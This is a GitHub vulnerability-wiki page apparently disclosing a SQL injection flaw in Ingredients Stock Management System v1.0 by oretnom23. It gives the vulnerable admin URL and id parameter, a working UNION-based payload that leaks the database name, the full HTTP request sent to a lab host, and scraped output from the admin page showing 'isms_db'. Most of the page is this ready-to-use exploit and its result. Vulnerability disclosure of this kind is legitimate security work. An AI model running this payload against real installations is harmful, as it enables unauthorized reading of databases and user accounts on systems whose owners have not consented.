

master

...

vul-wiki / vendors / oretnom23 / ingredients-stock-management-system / SQLi-4.md



debug601 Create SQLi-4.md

History

1 contributor

25 lines (18 sloc) | 1.05 KB

...

Ingredients Stock Management System v1.0 by oretnom23 has SQL injection

vendors: <https://www.sourcecodester.com/php/15364/ingredients-stock-management-system-phpoop-free-source-code.html>

Vulnerability File: /isms/admin/?page=user/manage_user&id=

Vulnerability location: /isms/admin/?page=user/manage_user&id=, id

db_name = isms_db;

[+] Payload: /isms/admin/?

page=user/manage_user&id=-2%27%20union%20select%201,database(),3,4,5,6,7,8,9,10,11

--+ // Leak place ---> id

```
GET /isms/admin/?page=user/manage_user&id=-2%27%20union%20select%201,database(),3,4,
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
```

Cookie: _ga=GA1.1.1382961971.1655097107; PHPSESSID=2m880botn1u43hd2gu23ttj4ug
Connection: close

INI

Load URL

Split URL

Execute

SQL BASICS* UNION BASED* ERROR/DOUBLE QUERY* TOOLS* WAF BYPASS* ENCODING* HTML* ENCRYPTION* OTHER* XSS* LFI*

http://192.168.1.19/isms/admin/?page=user/manage_user&id=-2' union select 1,database(),3,4,5,6,7,8,9,10,11--+|

☐ Post data

☐ Referrer

0xHEX

%URL

BASE64

Insert string to replace

Insert replacing string

☒ Re

ISMS - PHP

Dashboard

Category List

Item List

Stock Manager

Reports

Maintenance

User List

System Information

Ingredients Stock Management System - Admin

First Name

isms_db

Middle Name

3

Last Name

4

Username

5

New Password